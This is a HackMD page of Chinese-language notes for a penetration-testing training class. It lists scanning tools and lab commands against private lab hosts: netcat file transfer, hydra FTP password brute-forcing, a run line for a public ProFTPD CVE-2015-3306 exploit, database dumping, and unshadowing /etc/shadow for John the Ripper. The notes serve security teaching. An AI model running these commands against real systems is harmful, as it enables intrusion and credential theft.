chk
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    day1 [人才養成班]_0810弱點掃描、滲透測試(7H) https://teams.microsoft.com/l/meetup-join/19%3ameeting_MDFmMTY2YWItNzBmYi00NmY5LTg2MzMtZGM1N2E2YzU3OGQ1%40thread.v2/0?context=%7b%22Tid%22%3a%228403e735-8841-4669-895d-961c42dba6fc%22%2c%22Oid%22%3a%22bb88e902-6448-4501-9d80-95e53910474a%22%7d [人才養成班]_0811弱點掃描、滲透測試(7H) https://teams.microsoft.com/l/meetup-join/19%3ameeting_MTkyNjU1M2YtMGMzZC00MDQ5LTg2ZmItOTBlYWQ0M2Y5YWY3%40thread.v2/0?context=%7b%22Tid%22%3a%228403e735-8841-4669-895d-961c42dba6fc%22%2c%22Oid%22%3a%22bb88e902-6448-4501-9d80-95e53910474a%22%7d ## 課程講義 https://drive.google.com/drive/folders/1gzdIgoyw7XeHY1kSk5uDr8ZFIvlWAWa7?usp=sharing ---- 弱掃軟體 ZAP x-lab code order id : A000001322 PasCode : ACWTsXN8 nessus 試用版安裝 https://blog.darkthread.net/blog/setup-nessus-offline/ openvas http://127.0.0.1:9392/login snmp tools MIB Browser nc -v 192.168.56.101 80 靶機 nc -lvnp 9999 攻擊端 nc 192.168.56.101 9999 建立文字檔 sudo nano test.txt Ctrl+O 存檔 ctrl+X 離開 在靶機開啟nc 等待傳檔 nc -lvnp 9999 > AA.txt 在攻擊機 nc 192.168.56.101 9999 <test.txt wappalyzer https://www.wappalyzer.com/?utm_source=popup&utm_medium=extension&utm_campaign=wappalyzer 啟用 recon-ng 安裝模組 marketplace install recon/domains-hosts/google_site_web 載入模組 modules load recon/domains-hosts/google_site_web info 檢視內容 設定需要的參數 options set source ntu.edu.tw 執行 run advance port scanner nmap 192.168.56.101 -p 21 --script=ftp-vsftpd-backdoor ![image](https://hackmd.io/_uploads/SJI-9cN5A.png) sudo nano exploit.c GNU nano 8.1 exploit.c * #include<stdio.h> int main(){ printf("hi\n"); return 0; } windows 簡易HTTP server HFS # day2 09:30 請同學先完成這個lab # WVA2202 ![image](https://hackmd.io/_uploads/r1_rQ9r9R.png) 09:50 講解 **安裝密碼檔** sudo apt install wordlists **密碼破解樣本** https://drive.google.com/drive/folders/1MeRI24oAj6KrSo_IsdSQ9Zvh3yg74K21?usp=drive_link **** hydra 語法 ftp hydra -l <username> -P <password_list> ftp://<target_ip> 密碼檔 rockme.txt https://drive.google.com/file/d/1pOeNtw0sRbH1AiVUJKyy_sYKhcznCafk/view?usp=drive_link ftp user:ftp hydra -l ftp -P rockme.txt ftp://192.168.56.101 <br> <br> <br> <br> https://ithelp.ithome.com.tw/articles/10279483 [](https://) cve-2015-3306 https://github.com/t0kx/exploit-CVE-2015-3306/ 語法 python3 exploit.py --host 10.140.0.115 --port 21 --path "var/www/html" 提權參考 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation 權限補充說明 提權工具 https://blog.davidou.org/archives/2637 ``` # dbeaver ``` db工具 https://dbeaver.io/download/ 1. **更新系統**: 安裝語法 ```bash sudo apt update sudo apt upgrade -y sudo apt install openjdk-11-jdk -y wget https://dbeaver.io/files/dbeaver-ce_latest_amd64.deb sudo dpkg -i dbeaver-ce_latest_amd64.deb dbeaver ``` db連線 mysql --skip-ssl -h 10.140.0.10 -u chatadmin -p booking sql語法 show tables; select * from flag; select * from users; linux password dump sudo unshadow /etc/passwd /etc/shadow | sudo tee password.txt > /dev/null $ john --wordlist=rockme.txt --format="crypt" passdump.txt linux權限說明 ### 權限設置表格 | 欄位 | 符號 | 數值 | 描述 (中文) | Description (English) | |------------|------------|------|-------------------------------------------------|------------------------------------------------| | 文件類型 | - 或 d | - | `-` 表示普通文件,`d` 表示目錄 | `-` for regular file, `d` for directory | | 所有者 | rwx | 7 | 讀、寫、執行權限 | Read, write, and execute permissions | | 組 | r-x | 5 | 讀、執行權限 | Read and execute permissions | | 其他 | r-- | 4 | 讀取權限 | Read-only permission | ### 權限類型和符號 | 權限類型 | 符號 | 數值 | 描述 (中文) | Description (English) | |----------|------|------|------------------------------------|------------------------------------------------| | 讀取 | r | 4 | 文件:允許查看文件內容 | File: Allows viewing the file content | | 寫入 | w | 2 | 文件:允許修改文件內容 | File: Allows modifying the file content | | 執行 | x | 1 | 文件:允許執行文件 | File: Allows executing the file | | 無權限 | - | 0 | 無法讀取、寫入或執行 | No permissions to read, write, or execute | ### 權限組合示例 | 權限 | 符號 | 數值 | 描述 (中文) | Description (English) | |--------|------|------|--------------------------------------------------|------------------------------------------------| | 沒有權限 | --- | 0 | 無法讀取、寫入或執行 | No permissions | | 讀取 | r-- | 4 | 允許讀取 | Read-only | | 寫入 | -w- | 2 | 允許寫入(無法讀取) | Write-only (cannot read) | | 執行 | --x | 1 | 允許執行 | Execute-only | | 讀取和寫入 | rw- | 6 | 允許讀取和寫入 | Read and write | | 讀取和執行 | r-x | 5 | 允許讀取和執行 | Read and execute | | 寫入和執行 | -wx | 3 | 允許寫入和執行(無法讀取) | Write and execute (cannot read) | | 讀寫和執行 | rwx | 7 | 允許讀取、寫入和執行 | Read, write, and execute | ### 特殊權限 | 權限類型 | 符號 | 數值 | 描述 (中文) | Description (English) | |----------|------|------|-----------------------------------------------------------------------------|------------------------------------------------| | SUID | s | 4 | 執行文件時以文件所有者的權限運行 | Set User ID: Execute with the file owner's privileges | | SGID | s | 2 | 執行文件時以文件所屬組的權限運行 | Set Group ID: Execute with the file group's privileges | | Sticky Bit | t | 1 | 只有文件的所有者或 root 可以刪除或移動該目錄中的文件 | Only the file owner or root can delete or move files in the directory | ### 權限數值表示法 | 權限 | 符號 | 數值 | 描述 (中文) | Description (English) | |--------|------|------|--------------------------------------------------|------------------------------------------------| | 普通文件 | - | - | 表示普通文件 | Regular file | | 目錄 | d | - | 表示目錄 | Directory | | SUID | s | 4 | 設置 SUID 位 | Set User ID | | SGID | s | 2 | 設置 SGID 位 | Set Group ID | | Sticky Bit | t | 1 | 設置粘著位 | Set Sticky Bit | ### 權限示例 假設一個文件的權限設置如下: -rwxr-xr-- 課後問卷網址 https://forms.office.com/r/Wh21xsRtKz ![113年資安基礎技能養成班-20240811(場次8) (1)](https://hackmd.io/_uploads/SkSHMcr5C.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully